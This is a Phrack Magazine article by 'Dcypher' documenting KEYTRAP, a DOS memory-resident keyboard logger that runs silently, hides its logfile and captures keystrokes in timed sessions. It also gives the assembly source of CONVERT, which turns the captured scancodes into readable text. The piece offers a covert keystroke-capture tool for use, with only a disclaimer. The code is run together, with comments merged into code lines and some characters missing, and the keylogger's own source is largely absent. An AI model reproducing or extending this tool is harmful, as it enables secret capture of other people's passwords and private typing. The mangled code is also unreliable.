==Phrack Magazine==
Volume Five, Issue Forty-Six, File 26 of 28
KEYTRAP v1.0 - Keyboard Key Logger
by Dcypher (Dcypher@aol.com)
THIS PROGRAM MAY NOT BE DISTRIBUTED IN ANY WAY THAT VIOLATES U.S. OR FOREIGN LAW. THIS PROGRAM MUST NOT BE USED TO GAIN UNAUTHORIZED ACCESS TO DATA AND IS NOT INTENDED TO HELP USERS TO VIOLATE THE LAW !
You may distributed UNMODIFIED copies of KEYTRAP freely, subject to the above limitations, and provided all files are included in unmodified form; KEYTRAP.EXE, KEYTRAP.DOC
The author disclaims ALL warranties relating to the program, whether express or implied. In absolutely no event shall the author be liable
for any damage resulting from the use and/or misuse of this program.
WHAT IS KEYTRAP ? ~~~~~~~~~~~~~~~~~ KEYTRAP is a very effective keyboard key logger that will log keyboard scancodes to a logfile for later conversion to ASCII characters. Keytrap installs as a TSR, remaining in memory until the computer is turned off.
CONVERT will convert the keyboard scancodes captured by Keytrap to their respective keyboard (ASCII) characters.
Usage: KEYTRAP
Keytrap is a command line program.
A - The Maximum size of the logfile. This number is checked only when Keytrap is installed. If the size of the logfile exceeds this number, Keytrap will delete the logfile and create a new one.
B - This is the number of keys to log per session. Keytrap will only check this number AFTER a write to the logfile. So if you specify 50 keys, and Keytrap does not get a chance to write till there are 100 keys in the buffer, then Keytrap will log 100 keys.
C - This is the number of minutes between each session. When Keytrap reaches or exceeds the number of keys to log per session, it will start a delay routine and check this number. You can't specify more then 1440 minutes, the number of minutes in a day !
Example: KEYTRAP c:\logfile /20000 /200 /20
Keytrap will check "logfile" to see if it exceeds 20,000 bytes. If it does, Keytrap will delete the log file and then create a new one. Keytrap will then install as a TSR program. It will log approx 200 keys at a time with a delay of 20 minutes between each session.
Usage: CONVERT logfile outfile ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ logfile: The file that contains the scancodes that Keytrap logged. outfile: Specify an output file name.
Theres not too much to say here. This program just converts scancodes from the logfile into their respective keyboard (ASCII) characters.
NOTES ~~~~~ Keytrap will not display ANY messages. Check the logfile and the size of the logfile if your not sure Keytrap is working.
Keytrap will only make the logfile hidden if the logfile is actually created by Keytrap or the maximum size of the logfile is reached or exceeded. If you specify a file that already exists then Keytrap will not change that files attributes and will append all scancode data to the end of the file.
Keytrap will not crash if the logfile gets deleted while Keytrap is in memory. It will just keep looking for the logfile so it can write its buffer. A buffer write is not forced until the buffer reaches 400 bytes. It will then try to write its buffer during the next interrupt 21 call.
If you have any questions or need some help, e-mail me. Below is my public pgp key, don't e-mail me without it !
Dcypher (Dcypher@aol.com)
-----BEGIN PGP PUBLIC KEY BLOCK----- Version: 2.6
mQCNAi3iD5cAAAEEAMVJGdgCYzG5av0lLSjO7iXm64qsuk6v/dx5XcMoNmOHNUA3 +tzF0WuVPXuJ59mFxE3/rhQqyh8Mci0f4qT6TR7FfSb8vtzSkF5vW8cNUmQx8Qvf B/YQZVmztNlWOPROAmT8ZHbsrNev2rgeYjouW3ZOUgA4RKBRYiCTuXD+VOlxAAUR tBlEY3lwaGVyIDxEY3lwaGVyQGFvbC5jb20+ =w2RN -----END PGP PUBLIC KEY BLOCK-----
; ; ; KEYTRAP v1.0 - Keyboard Key Logger ; By Dcypher (Dcypher@aol.com) ; ; Usage: KEYTRAP
end begin
; ; ; CONVERT v1.0 - Keytrap logfile converter ; By Dcypher@aol.com ; ; Usage: CONVERT logfile outfile ; ; logfile - Keytrap's scancode data (logfile) ; outfile - Specify an output file name ; ; ;---------------------------------------- ; .286 ; .model small ; .code ; org 100h ; ; start: jmp go ; ; ;---------------------------------------- ; inhandle dw 0 ; inpointH dw 0 ; inpointL dw 0 ; loaded dw 0 ; last db 0 ; ; outhandle dw 0 ; outoffset dw 0 ; ; ;---------------------------------------- ; table db 002h, '1' ; scan-code table db 003h, '2' ; db 004h, '3' ; db 005h, '4' ; db 006h, '5' ; db 007h, '6' ; db 008h, '7' ; db 009h, '8' ; db 00Ah, '9' ; db 00Bh, '0' ; ; ; db 082h, '!' ; db 083h, '@' ; db 084h, '#' ; db 085h, '$' ; db 086h, '%' ; db 087h, '^' ; db 088h, '&' ; db 089h, '' ; db 08Ah, '(' ; db 08Bh, ')' ; ;---------------------------------------- db 01Eh, 'a' ; db 030h, 'b' ; db 02Eh, 'c' ; db 020h, 'd' ; db 012h, 'e' ; db 021h, 'f' ; db 022h, 'g' ; db 023h, 'h' ; db 017h, 'i' ; db 024h, 'j' ; db 025h, 'k' ; db 026h, 'l' ; db 032h, 'm' ; db 031h, 'n' ; db 018h, 'o' ; db 019h, 'p' ; db 010h, 'q' ; db 013h, 'r' ; db 01Fh, 's' ; db 014h, 't' ; db 016h, 'u' ; db 02Fh, 'v' ; db 011h, 'w' ; db 02Dh, 'x' ; db 015h, 'y' ; db 02Ch, 'z' ; ; ; db 09Eh, 'A' ; db 0B0h, 'B' ; db 0AEh, 'C' ; db 0A0h, 'D' ; db 092h, 'E' ; db 0A1h, 'F' ; db 0A2h, 'G' ; db 0A3h, 'H' ; db 097h, 'I' ; db 0A4h, 'J' ; db 0A5h, 'K' ; db 0A6h, 'L' ; db 0B2h, 'M' ; db 0B1h, 'N' ; db 098h, 'O' ; db 099h, 'P' ; db 090h, 'Q' ; db 093h, 'R' ; db 09Fh, 'S' ; db 094h, 'T' ; db 096h, 'U' ; db 0AFh, 'V' ; db 091h, 'W' ; db 0ADh, 'X' ; db 095h, 'Y' ; db 0ACh, 'Z' ; ;---------------------------------------- db 00Ch, '-' ; db 08Ch, '_' ; ; db 00Dh, '=' ; db 08Dh, '+' ; ; db 01Ah, '[' ; db 09Ah, '{' ; ; db 01Bh, ']' ; db 09Bh, '}' ; ; db 027h, ';' ; db 0A7h, ':' ; ; db 028h, 027h ; ' db 0A8h, '"' ; ; db 033h, ',' ; db 0B3h, '<' ; ; db 034h, '.' ; db 0B4h, '>' ; ; db 035h, '/' ; db 0B5h, '?' ; ; db 02Bh, '\' ; db 0ABh, '|' ; ; db 037h, '' ; db 0B7h, '*' ; ; db 029h, '`' ; db 0A9h, '~' ; ; ;---------------------------------------- ; db 039h, 020h ; space db 0B9h, 020h ; space with shift ; db 00Eh, 011h ; backspace db 08Eh, 011h ; backspace with shift ; db 01Ch, 00Ah ; return db 09Ch, 00Ah ; return with shift ; db 0 ; End of Table ; ;============================================================================== ; fprob: mov ah, 9 ; lea dx, ferr ; int 21h ; jmp bye ; ; prtuse: mov ah, 9 ; lea dx, usage ; int 21h ; ; bye: mov ah, 4Ch ; int 21h ; ; ;------------------------------------------------ ; go: mov ah, 9 ; lea dx, namver ; int 21h ; ; mov bx, 80h ; cmp byte ptr [bx], 0 ; je prtuse ; ; call null ; call check ; jc fprob ; ; go1: call ldata ; call conv ; call sdata ; cmp last, 1 ; jne go1 ; jmp bye ; ; ;------------------------------------------------ ; null: mov bx, 81h ; null1: inc bx ; cmp byte ptr [bx], 20h ; jnz null1 ; mov byte ptr [bx], 0 ; ; mov outoffset, bx ; inc word ptr [outoffset] ; ; null2: inc bx ; cmp byte ptr [bx], 0Dh ; jnz null2 ; mov byte ptr [bx], 0 ; ret ; ; ;------------------------------------------------ ; check: mov ax, 3D00h ; mov dx, 82h ; int 21h ; jc check2 ; mov bx, ax ; mov ah, 3Eh ; int 21h ; jc check2 ; ; mov ah, 3Ch ; xor cx, cx ; mov dx, outoffset ; int 21h ; jc check2 ; mov bx, ax ; mov ah, 3Eh ; int 21h ; jc check2 ; ; clc ; check2: ret ; ; ;------------------------------------------------ ; ldata: mov ax, 3D00h ; mov dx, 82h ; int 21h ; mov inhandle, ax ; ; mov ax, 4200h ; mov bx, inhandle ; mov cx, inpointH ; mov dx, inpointL ; int 21h ; ; mov ah, 3Fh ; mov bx, inhandle ; mov cx, 60000 ; lea dx, eof ; int 21h ; mov loaded, ax ; cmp ax, 60000 ; je ldata2 ; mov last, 1 ; ; ldata2: mov ax, 4201h ; mov bx, inhandle ; xor cx, cx ; xor dx, dx ; int 21h ; mov inpointH, dx ; mov inpointL, ax ; ; mov ah, 3Eh ; mov bx, inhandle ; int 21h ; ret ; ; ;------------------------------------------------ ; conv: mov cx, loaded ; lea si, eof ; ; conv1: lea di, table ; ; cmp cx, 0 ; je conv6 ; ; mov al, byte ptr [si] ; conv2: mov ah, byte ptr [di] ; cmp ah, 0 ; je conv4 ; cmp ah, al ; je conv3 ; add di, 2 ; jmp conv2 ; ; conv3: inc di ; mov al, byte ptr [di] ; mov byte ptr [si], al ; dec cx ; inc si ; jmp conv1 ; ; conv4: mov byte ptr [si], 20h ; dec cx ; inc si ; jmp conv1 ; ; conv6: ret ; ; ;------------------------------------------------ ; sdata: mov ax, 3D02h ; mov dx, outoffset ; int 21h ; mov outhandle, ax ; ; mov ax, 4202h ; mov bx, outhandle ; xor cx, cx ; xor dx, dx ; int 21h ; ; mov ah, 40h ; mov bx, outhandle ; mov cx, loaded ; lea dx, eof ; int 21h ; ; mov ah, 3Eh ; mov bx, outhandle ; int 21h ; ret ; ; ;------------------------------------------------------------------------------
namver db 10,13 db 'CONVERT v1.0',10,13 db 'Keytrap logfile converter.',10,13 db 'By Dcypher (Dcypher@aol.com)',10,13 db 10,13,'$'
usage db 'Usage: CONVERT logfile outfile',10,13 db 10,13 db ' logfile - Keytrap',27h,'s scancode data.',10,13 db ' outfile - Specify an output file name.',10,13 db 10,13,'$'
ferr db 'WARNING: Problem with one of the files.',10,13 db 10,13,'$'
;------------------------------------------------------------------------------
eof db 0 end start